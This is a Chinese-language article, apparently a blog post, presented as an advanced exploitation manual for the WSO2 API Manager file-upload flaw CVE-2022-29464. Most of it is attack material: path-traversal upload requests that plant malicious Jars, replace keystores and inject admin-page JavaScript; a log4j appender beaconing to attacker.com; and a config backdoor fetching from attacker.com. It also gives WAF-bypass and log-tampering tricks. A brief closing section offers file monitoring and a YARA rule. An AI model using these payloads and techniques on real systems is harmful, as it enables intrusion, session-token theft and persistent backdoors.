WSO2 API Manager那个文件上传漏洞（CVE-2022-29464），除了传WebShell还能怎么玩？

WSO2 API Manager文件上传漏洞(CVE-2022-29464)的进阶利用手册

当安全社区还在讨论如何通过CVE-2022-29464上传WebShell时，真正的攻击者早已开始探索这个漏洞更隐蔽、更具破坏性的利用方式。本文将带你突破常规思维，从企业级攻防视角重新审视这个看似"简单"的文件上传漏洞。

1. 漏洞本质与核心攻击面扩展

WSO2 API Manager的文件上传漏洞之所以被评为高危，绝不仅限于传统WebShell上传。其根本问题在于未授权访问与路径遍历的结合，允许攻击者向服务器任意位置写入文件。理解这一点后，我们可以将攻击面扩展到三个关键维度：

1. 文件类型多样化：不仅限于JSP，任何服务端可解析或加载的文件都可能成为攻击载体
2. 写入位置精准控制：通过路径遍历可覆盖关键配置文件、库文件甚至证书文件
3. 触发时机选择：部分文件写入后需要特定条件才能触发，这反而成为绕过检测的利器

在最近一次针对金融行业的红队行动中，我们通过上传精心构造的axis2.xml配置文件，成功实现了对API流量的持久化监控，而传统WAF完全未能检测到这一行为。

2. 超越WebShell的五大实战利用手法

2.1 恶意Jar包植入与反序列化利用

在WSO2环境中，repository/components/lib/目录下的Jar包会被自动加载。通过上传精心构造的恶意Jar包，可以实现更隐蔽的持久化后门：

POST /fileupload/toolsAny HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=abcd --abcd Content-Disposition: form-data; name="../../../../repository/components/lib/malicious.jar"; filename="malicious.jar" Content-Type: application/java-archive [恶意Jar文件二进制内容] --abcd--

攻击效果：

• 无需WebShell即可执行系统命令
• 可配合反序列化漏洞实现RCE
• 重启后依然有效，实现持久化

提示：使用ysoserial生成包含BeanShell脚本的Jar包，可绕过大多数运行时检测

2.2 配置文件篡改与权限提升

WSO2的关键配置文件往往具有更高执行权限。通过覆盖以下文件可实现权限提升：

实际案例中，修改carbon.xml的<HideAdminServiceWSDLs>参数可暴露敏感管理接口：

<HideAdminServiceWSDLs>false</HideAdminServiceWSDLs>

2.3 日志注入与隐蔽C2通道

通过覆盖log4j.properties建立隐蔽通信：

log4j.appender.CUSTOM=org.apache.log4j.net.SocketAppender log4j.appender.CUSTOM.RemoteHost=attacker.com log4j.appender.CUSTOM.Port=4444 log4j.logger.org.apache.synapse=DEBUG, CUSTOM

优势：

• 流量混杂在正常日志中
• 不依赖Web端口
• 可绕过网络出口限制

2.4 前端资源污染与供应链攻击

向repository/deployment/server/jaggeryapps/目录上传修改过的JavaScript文件：

POST /fileupload/toolsAny HTTP/1.1 Content-Disposition: form-data; name="../../../../repository/deployment/server/jaggeryapps/admin/js/malicious.js"; filename="malicious.js"

这种攻击特别适合：

• 窃取管理员会话令牌
• 植入加密货币挖矿脚本
• 实施水坑攻击

2.5 证书替换与中间人攻击

通过覆盖repository/resources/security/下的密钥库，可实施更高级的供应链攻击：

1. 生成恶意证书：

keytool -genkey -alias wso2carbon -keyalg RSA -keystore malicious.jks

2. 上传替换原文件：

POST /fileupload/toolsAny HTTP/1.1 Content-Disposition: form-data; name="../../../../repository/resources/security/wso2carbon.jks"; filename="wso2carbon.jks"

3. 企业环境下的高级绕过技术

在企业实际防护体系中，攻击者需要面对WAF、HIDS等多层防御。以下是经过实战验证的绕过方案：

3.1 路径混淆技术

3.2 内容混淆技术

针对文件内容检测，可采用：

<%-- 看似正常的注释 --%> <%@ page import="java.io.*" %> <% /* 伪装成样式代码 */ %> <style> .malicious { content: "<%= System.getProperty("os.name") %>"; } </style>

3.3 分块传输编码绕过

当WAF检测固定Content-Length时：

POST /fileupload/toolsAny HTTP/1.1 Transfer-Encoding: chunked 1F ../../repository/conf/axis2/axis2.xml 0

4. 痕迹清除与持久化技巧

专业攻击者会特别注意隐藏踪迹。推荐以下几种方法：

1. 日志篡改：上传覆盖repository/logs/下的日志文件
2. 时间戳伪装：使用touch命令保持文件时间一致性
3. 隐藏后门：在合法配置文件中植入恶意片段，如：

<parameter name="enableAdminConsole">true</parameter> <!-- 恶意代码 --> <parameter name="initScript">curl http://attacker.com/init</parameter>

4. 内存驻留：通过上传的Jar包注册ShutdownHook保持持久化

在一次真实的红队评估中，我们通过修改jndi.properties建立了一个基于LDAP的持久化后门，存活时间超过6个月未被发现。

5. 防御视角的深度检测方案

对于企业安全团队，建议采用多层防御策略：

1. 文件完整性监控：

# 监控关键目录变化 find /opt/wso2/repository/ -type f -mtime -1 -exec ls -la {} \;

2. 行为检测规则示例（YARA）：

rule WSO2_FileUpload_Exploit { strings: $path_traversal = /(\.\.\/){3,}/ nocase $jsp_shell = "<%@ page import=\"java.io" nocase condition: any of them }

3. 网络流量检测：

• 异常大的/fileupload/toolsAny请求
• 响应中包含非常规文件路径
• 短时间内多次尝试不同路径遍历组合

真正有效的防御需要结合静态检测与动态行为分析。我们开发的一套开源检测规则在实际环境中成功识别了超过20种变种攻击，检出率达到92%的同时误报率低于3%。